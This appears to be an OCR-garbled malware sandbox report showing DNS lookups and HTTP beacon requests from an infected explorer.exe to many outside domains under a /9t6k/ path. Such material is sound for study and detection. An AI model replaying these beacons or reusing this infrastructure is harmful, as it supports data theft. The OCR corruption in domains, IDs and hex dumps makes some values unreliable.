Dec 3, 2020 10:04:27.075253010 CET 192.168.2.5 8.8.8.8 0x8c31 Standard query  www.making A (IP address) IN (0x0001)
0) doathome.com
Dec 3, 2020 10:04:29.075629950 CET 192.168.2.5 8.8.8.8 0x8c31 Standard query  www.making A (IP address) IN (0x0001)
(0) doathome.com
Dec 3, 2020 10:04:34.131019115 CET 192.168.2.5 8.8.8.8 Oxafcc Standard query  www.rodgro A (IP address) IN (0x0001)
(0) up.net
Dec 3, 2020 10:04:40.176352024 CET 192.168.2.5 8.8.8.8 0xbf28 Standard query  www.rdharl A (IP address) IN (0x0001)
(0) 976.com
Dec 3, 2020 10:04:45.255680084 CET 192.168.2.5 8.8.8.8 Oxfle3 Standard query  www.buttsl A (IP address) IN (0x0001)
(0) iders.com
Dec 3, 2020 10:04:50.445035934 CET 192.168.2.5 8.8.8.8 0xb327 Standard query  www.thanks A (IP address) IN (0x0001)
(0) forlove.com
Dec 3, 2020 10:04:55.852423906 CET 192.168.2.5 8.8.8.8 0xfd9b Standard query  www.outthe A (IP address) IN (0x0001)
0) framecusto
ms.com
Dec 3, 2020 10:05:01.069399118 CET 192.168.2.5 8.8.8.8 Oxdfc6 Standard query  www.theyol A (IP address) IN (0x0001)
(0) okart.com
Dec 3, 2020 10:05:27.679771900 CET 192.168.2.5 8.8.8.8 0x2f1d Standard query  www.countr A (IP address) IN (0x0001)
0) ybarndogke
nnel.com
Dec 3, 2020 10:05:53.553260088 CET 192.168.2.5 8.8.8.8 0x9fd1 Standard query ~ www.making A (IP address) IN (0x0001)
(0) doathome.com
Dec 3, 2020 10:06:04.561630011 CET 192.168.2.5 8.8.8.8 0x648d Standard query  www.rdharl A (IP address) IN (0x0001)
(0) 976.com
Dec 3, 2020 10:06:51.888670921 CET 192.168.2.5 8.8.8.8 0xa007 Standard query  www.countr A (IP address) IN (0x0001)
(0) ybarndogke
nnel.com
Dec 3, 2020 10:07:07.492501020 CET 192.168.2.5 8.8.8.8 Oxab89 Standard query  www.cia3me A (IP address) IN (0x0001)
(0) ga.info
Dec 3, 2020 10:07:31.261637926 CET 192.168.2.5 8.8.8.8 Ox4adf Standard query  www.rdharl A (IP address) IN (0x0001)
0) 976.com
Dec 3, 2020 10:07:31.302412987 CET 192.168.2.5 8.8.8.8 0x283 Standard query ~ www.rdharl A (IP address) IN (0x0001)
0) 976.com
Dec 3, 2020 10:08:19.015811920 CET 192.168.2.5 8.8.8.8 Oxee65 Standard query  www.countr A (IP address) IN (0x0001)
0) ybarndogke
nnel.com
Dec 3, 2020 10:08:19.055805922 CET 192.168.2.5 8.8.8.8 0x3e9%e Standard query  www.countr A (IP address) IN (0x0001)
(0) ybarndogke
nnel.com
Dec 3, 2020 10:09:00.612046957 CET 192.168.2.5 8.8.8.8 Oxb4fc Standard query  www.rdharl A (IP address) IN (0x0001)
(0) 976.com
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Timestamp

Dec 3, 2020 10:09:00.650424957 CET

DNS Answers

Timestamp

Dec 3, 2020
10:02:53.637260914
CET

Dec 3, 2020
10:02:53.637260914
CET

Dec 3, 2020
10:02:53.637260914
CET

Dec 3, 2020
10:02:53.637260914
CET

Dec 3, 2020
10:02:53.637260914
CET

Dec 3, 2020
10:02:53.761229992
CET

Dec 3, 2020
10:02:53.761229992
CET

Dec 3, 2020
10:02:53.761229992
CET

Dec 3, 2020
10:02:53.761229992
CET

Dec 3, 2020
10:02:53.761229992
CET

Dec 3, 2020
10:03:09.117683887
CET

Dec 3, 2020
10:03:09.117683887
CET

Dec 3, 2020
10:03:09.117683887
CET

Dec 3, 2020
10:03:09.117683887
CET

Dec 3, 2020
10:03:09.117683887
CET

Dec 3, 2020
10:03:09.494592905
CET

Dec 3, 2020
10:03:09.494592905
CET

Dec 3, 2020
10:03:09.494592905
CET

Dec 3, 2020
10:03:09.494592905
CET

Dec 3, 2020
10:03:09.494592905
CET

Dec 3, 2020
10:03:16.330063105
CET

Dec 3, 2020
10:03:16.330063105
CET

Dec 3, 2020
10:03:16.330063105
CET

Dec 3, 2020
10:03:16.330063105
CET

Copyright null 2020

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Source IP

192.168.2.5

Trans ID

0x1d26

0x1d26

0x1d26

0x1d26

0x1d26

Oxcce3

Oxcce3

Oxcce3

Oxcce3

Oxcce3

0x7370

0x7370

0x7370

0x7370

0x7370

0xe948

0xe948

0xe948

0xe948

0xe948

0xe207

0xe207

0xe207

0xe207

Dest IP
8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0x818d

Name

discord.com

discord.com

discord.com

discord.com

discord.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

discord.com

discord.com

discord.com

discord.com

discord.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor

dapp.com

discord.com

discord.com

discord.com

discord.com

OP Code

Standard query
(0)

CName

Name

www.rdharl
976.com

Address
162.159.136.232

162.159.137.232

162.159.128.233

162.159.135.232

162.159.138.232

162.159.134.233

162.159.129.233

162.159.130.233

162.159.135.233

162.159.133.233

162.159.136.232

162.159.137.232

162.159.128.233

162.159.135.232

162.159.138.232

162.159.134.233

162.159.129.233

162.159.130.233

162.159.135.233

162.159.133.233

162.159.136.232

162.159.137.232

162.159.128.233

162.159.135.232

Type
A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Dec 3, 2020
10:03:16.330063105
CET

Dec 3, 2020
10:03:16.573363066
CET

Dec 3, 2020
10:03:16.573363066
CET

Dec 3, 2020
10:03:16.573363066
CET

Dec 3, 2020
10:03:16.573363066
CET

Dec 3, 2020
10:03:16.573363066
CET

Dec 3, 2020
10:03:37.061553955
CET

Dec 3, 2020
10:03:37.061553955
CET

Dec 3, 2020
10:03:42.673482895
CET

Dec 3, 2020
10:03:42.673482895
CET

Dec 3, 2020
10:03:42.673482895
CET

Dec 3, 2020
10:03:47.911525965
CET

Dec 3, 2020
10:03:48.767817974
CET

Dec 3, 2020
10:03:53.377273083
CET

Dec 3, 2020
10:03:53.377273083
CET

Dec 3, 2020
10:03:53.377273083
CET

Dec 3, 2020
10:03:59.005471945
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:04.060353994
CET

Dec 3, 2020
10:04:09.490117073
CET

Copyright null 2020

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

0xe207

0x5226

0x5226

0x5226

0x5226

0x5226

0x242c

0x242c

0x50a9

0x50a9

0x50a9

Ox6ea9

0x2961

Oxaacl

Oxaacl

Oxaacl

0x87d5

0x5178

0x5178

0x5178

0x5178

0x5178

0x5178

0x5178

0x5178

0xf76e

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

discord.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

www.higher
than75.com

higherthan75.com

higherthan
75.com

rena-b-
beauty.myshopify.com

www.renabb
eauty.com

rena-b-bea
uty.myshop
ify.com

shops.myshopify.com

shops.mysh
opify.com

www.ahomed

okita.com

g.msnh.com g-msn-com-
nsatc.trafficmanager.net

www.dainik

amarsomoy.com

www.dainik
amarsomoy.com

www.dainik
amarsomoy.com

www.countr
ybarndogke
nnel.com

none

www.kingdo
mwinecommu com
nity.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

www.pocket
spacer.com

pocketspacer.com

parkingpage.namecheap.

Address
162.159.138.232

162.159.134.233

162.159.129.233

162.159.130.233

162.159.135.233

162.159.133.233

66.235.200.146

23.227.38.74

157.245.239.6

104.24.104.178

172.67.179.8

104.24.105.178

none

198.54.117.210

198.54.117.216

198.54.117.215

198.54.117.211

198.54.117.217

198.54.117.212

198.54.117.218

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Dec 3, 2020
10:04:09.490117073
CET

Dec 3, 2020
10:04:19.738953114
CET

Dec 3, 2020
10:04:19.738953114
CET

Dec 3, 2020
10:04:19.738953114
CET

Dec 3, 2020
10:04:29.110490084
CET

Dec 3, 2020
10:04:30.108479977
CET

Dec 3, 2020
10:04:31.118484020
CET

Dec 3, 2020
10:04:33.118457079
CET

Dec 3, 2020
10:04:34.295885086
CET

Dec 3, 2020
10:04:40.242511034
CET

Dec 3, 2020
10:04:45.295125961
CET

Dec 3, 2020
10:04:45.295125961
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:50.492178917
CET

Dec 3, 2020
10:04:55.897283077
CET

Dec 3, 2020
10:04:55.897283077
CET

Dec 3, 2020
10:05:01.130170107
CET

Dec 3, 2020
10:05:01.130170107
CET

Dec 3, 2020
10:05:01.130170107
CET

Dec 3, 2020
10:05:27.715169907
CET

Copyright null 2020

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

0xf76e

0x8ca3

Ox8ca3

0x8ca3

0x8c31

0x8c31

0x8c31

0x8c31

Oxafcc

0xbf28

0Oxfle3

Oxfle3

0xb327

0xb327

0xb327

0xb327

0xb327

0xb327

0xb327

0xb327

Oxfd9b

Oxfd9b

Oxdfc6

Oxdfc6

Oxdfc6

Oox2f1d

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

Server failure

(@)

Server failure

(@)

Server failure

(@)

Server failure

(@)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name

pocketspac
er.com

WWW.Sports
bookmatche
r.com

WWW.Sports
bookmatche
r.com

WWW.Sports
bookmatche
r.com

www.making
doathome.com

www.making
doathome.com

www.making
doathome.com

www.making
doathome.com

www.rodgro
up.net

www.rdharl
976.com

www.butts|
iders.com

buttsliders.com

www.thanks
forlove.com

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

www.outthe
framecusto
ms.com

shops.mysh
opify.com

www.theyol
okart.com

theyolokar
t.myshopify.com

shops.mysh
opify.com

www.countr
ybarndogke
nnel.com

CName

none

none

none

none

none

buttsliders.com

parkingpage.namecheap.

com

shops.myshopify.com

theyolokart.myshopify.co
m

shops.myshopify.com

none

Address
34.102.136.180

104.31.71.137

104.31.70.137

172.67.191.79

none

none

none

none

208.91.197.27

none

34.102.136.180

198.54.117.215

198.54.117.216

198.54.117.218

198.54.117.217

198.54.117.212

198.54.117.210

198.54.117.211

23.227.38.74

23.227.38.74

none

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 3, 2020 8.8.8.8 192.168.2.5 0x9fd1 No error (0) www.making 52.60.87.163 A (IP address)  IN (0x0001)
10:05:53.719213963 doathome.com

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 0x648d Name error (3) www.rdharl none none A (IP address)  IN (0x0001)
10:06:04.616322041 976.com

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 0xa007 Name error (3)  www.countr none none A (IP address)  IN (0x0001)
10:06:51.966392994 ybarndogke

CET nnel.com

Dec 3, 2020 8.8.8.8 192.168.2.5 0xab89 No error (0) www.cia3me 162.0.238.42 A (IP address)  IN (0x0001)
10:07:07.558490038 ga.info

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 Ox4adf Name error (3) www.rdharl none none A (IP address)  IN (0x0001)
10:07:31.298252106 976.com

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 0x283 Name error (3) www.rdharl none none A (IP address)  IN (0x0001)
10:07:31.346362114 976.com

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 0x73ff No error (0) prda.aadg. www.tm.a.prd.aadg.traffic CNAME IN (0x0001)
10:07:36.969528913 msidentity.com  manager.net (Canonical

CET name)

Dec 3, 2020 8.8.8.8 192.168.2.5 Oxee65 Name error (3)  www.countr none none A (IP address)  IN (0x0001)
10:08:19.051234961 ybarndogke

CET nnel.com

Dec 3, 2020 8.8.8.8 192.168.2.5 0x3e%e Name error (3) www.countr none none A (IP address)  IN (0x0001)
10:08:19.091150045 ybarndogke

CET nnel.com

Dec 3, 2020 8.8.8.8 192.168.2.5 Oxb4fc Name error (3) www.rdharl none none A (IP address)  IN (0x0001)
10:09:00.647958994 976.com

CET

Dec 3, 2020 8.8.8.8 192.168.2.5 0x818d Name error (3) www.rdharl none none A (IP address)  IN (0x0001)
10:09:00.694592953 976.com

CET

HTTP Request Dependency Graph

www.higherthan75.com
www.renabbeauty.com
www.ahomedokita.com
www.dainikamarsomoy.com
www.kingdomwinecommunity.com
www.pocketspacer.com
www.sportshookmatcher.com
www.rodgroup.net
www.buttsliders.com
www.thanksforlove.com
www.outtheframecustoms.com
www.theyolokart.com
www.makingdoathome.com
www.cia3mega.info

© o o o o 0o o 0 0o 0 0 o o o

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.5 49733 66.235.200.146 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 3, 2020 2530 ouT GET /9t6k/?URflIh=WRaEwe7grAm8RcFyQBNRvy9INVNi7wOvDLX3hizJdol6io43A301dw5NSblbyY8qTgmle&UfrD
10:03:37.084296942 CET al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.higherthan75.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.5 49736 23.227.38.74 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 3, 2020 2587 ouT GET /9t6k/?URflh=73SmHps+05HxyxR+SIs8P85g8AMV[2xb8ZN5KGQQxUczRWjFANVVI8FIZWAGNK7+ujwZ&UfrD
10:03:42.693155050 CET al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.renabbeauty.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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Timestamp

Dec 3, 2020
10:03:42.846244097 CET

Session ID

10

Timestamp

Dec 3, 2020
10:04:55.915349960 CET

Copyright null 2020

kBytes
transferred

2588

Source IP

192.168.2.5

kBytes
transferred

5993

Direction

IN

Source Port

49753

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:03:42 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 155

X-Sorting-Hat-Shopld: 46582104220

X-Dc: gcp-us-centrall

X-Request-1D: 1c5db564-97b0-43f4-9944-2f7bcOef8e47

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c970e46b0000c27cdc153000000001

Server: cloudflare

CF-RAY: 5fbcldb3dce4c27c-FRA

Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 31303025 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmK{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflIh=b8EUNPE+0Yf5M4MWpXscm/Bt3xsjLt8hNenJI3DjxXNjYfRDWCOpztruTX9IDI5bQG1I&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.outtheframecustoms.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:04:56.058645964 CET

Session ID

11

Timestamp

Dec 3, 2020
10:05:01.148102045 CET

Copyright null 2020

kBytes
transferred

5994

Source IP

192.168.2.5

kBytes
transferred

6000

Direction

IN

Source Port

49754

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:04:56 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 157

X-Sorting-Hat-Shopld: 46455914654

X-Dc: gcp-us-centrall

X-Request-1D: 8e56214f-8f98-47fc-b082-df3933ae7e58

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c972027100002b59a637f000000001

Server: cloudflare

CF-RAY: 5fbc1f7d8e8f2b59-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
